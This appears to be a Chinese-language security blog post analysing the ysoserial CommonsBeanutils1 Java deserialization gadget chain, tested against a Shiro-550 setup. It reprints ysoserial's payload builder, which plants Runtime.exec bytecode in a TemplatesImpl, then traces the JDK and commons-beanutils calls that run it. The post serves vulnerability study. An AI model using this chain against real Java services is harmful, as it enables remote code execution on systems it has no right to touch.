在ysoserial中实现了CommonsBeanutils1反序列化链,可以利用这个链执行代码。
在ysoserial中实现CommonsBeanutils1代码如下,首先new BeanComparator/PriorityQueue对象,在PriorityQueue对象内添加两个int对象,而后通过反射修改property字段存储的值
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static Object createTemplatesImpl(String command) throws Exception {
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
而后通过反射将PriorityQueue对象存储的两个BigInteger对象改为创建的TemplatesImpl对象。

根因分析
根据前面调试知道,CommonsBeanutils1序列化PriorityQueue对象,其中comparator指定为BeanComparator,PriorityQueue内存了两个TemplatesImpl对象。
使用
shiro 550环境,发送payload,在调试器中可以看到,首先反序列化PriorityQueue对象

在readObject断点,可以看到尝试反序列化comparator,这里是BeanComparator,并递归反序列化TemplatesImpl

而后readObject会调用heapify方法,跟进调用最后调用到comparator.compare
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
BeanComparator实现了Comparator接口,compare方法代码如下,其会调用getProperty方法,前面在ysoserial中property被设置为outputProperities
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}

跟进getProperty方法内,其中bean为TemplatesImpl对象,会进入bean = this.getSimpleProperty(bean, name);
public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}
public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return this.getNestedProperty(bean, name);
}
public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
if (bean == null) {
throw new IllegalArgumentException("No bean specified");
} else if (name == null) {
throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'");
} else {
while(this.resolver.hasNested(name)) {
String next = this.resolver.next(name);
Object nestedBean = null;
if (bean instanceof Map) {
nestedBean = this.getPropertyOfMapBean((Map)bean, next);
} else if (this.resolver.isMapped(next)) {
nestedBean = this.getMappedProperty(bean, next);
} else if (this.resolver.isIndexed(next)) {
nestedBean = this.getIndexedProperty(bean, next);
} else {
nestedBean = this.getSimpleProperty(bean, next);
}
if (nestedBean == null) {
throw new NestedNullException("Null property value for '" + name + "' on bean class '" + bean.getClass() + "'");
}
bean = nestedBean;
name = this.resolver.remove(name);
}
if (bean instanceof Map) {
bean = this.getPropertyOfMapBean((Map)bean, name);
} else if (this.resolver.isMapped(name)) {
bean = this.getMappedProperty(bean, name);
} else if (this.resolver.isIndexed(name)) {
bean = this.getIndexedProperty(bean, name);
} else {
bean = this.getSimpleProperty(bean, name);
}
return bean;
}
}
在getSimpleProperty方法内会通过反射获取到TemplatesImpl对象property对应的的getter方法并调用,在java规范中outputProperities对应的getter方法名应该为getOutputProperities
public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
if (bean == null) {
throw new IllegalArgumentException("No bean specified");
} else if (name == null) {
throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'");
} else if (this.resolver.hasNested(name)) {
throw new IllegalArgumentException("Nested property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
} else if (this.resolver.isIndexed(name)) {
throw new IllegalArgumentException("Indexed property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
} else if (this.resolver.isMapped(name)) {
throw new IllegalArgumentException("Mapped property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
} else if (bean instanceof DynaBean) {
DynaProperty descriptor = ((DynaBean)bean).getDynaClass().getDynaProperty(name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on dynaclass '" + ((DynaBean)bean).getDynaClass() + "'");
} else {
return ((DynaBean)bean).get(name);
}
} else {
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
} else {
Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
} else {
Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return value;
}
}
}
}

TemplatesImpl类中getOutputProperties方法代码如下,会调用newTransformer方法
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
newTransformer会调用getTransletInstance方法,在该方法内会调用defineTransletClasses方法,defineTransletClasses会读取_bytecodes并通过defineClass方法通过字节码加载成对应的类并构造对应的对象,所以这个过程会执行恶意类的构造方法。
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
所以可以总结:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的_bytecodes属性可以包含类的字节码,通过newTransformer方法可以调用字节码对应类的构造函数或者静态函数。
public final class TemplatesImpl implements Templates, Serializable {
static final long serialVersionUID = 673094361519270707L;
public final static String DESERIALIZE_TRANSLET = "jdk.xml.enableTemplatesImplDeserialization";
/**
* Name of the superclass of all translets. This is needed to * determine which, among all classes comprising a translet, * is the main one. */ private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
/**
* Name of the main class or default name if unknown. */ private String _name = null;
/**
* Contains the actual class definition for the translet class and * any auxiliary classes. */ private byte[][] _bytecodes = null;
总结一下过程:PriorityQueue对象在反序列化过程中会触发排序,调用comparator.compare,在BeanComparator.compare方法中会尝试获取类的property对应的成员的值,其方法是通过尝试获取成员值对应的getter方法,而后调用这个getter方法。
而TemplatesImpl类的_bytecodes可以存储字节码并且可以通过newTransformer方法调用这个字节码对应类的构造函数或者静态方法,TemplatesImpl类的getOutputProperties方法会调用newTransformer方法。
而getOutputProperties在规范中对应于outputProperties的getter方法,最终构成反序列化链。
参考链接
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
创建于2024-01-11
Created at 2024-01-12T14:32:08+08:00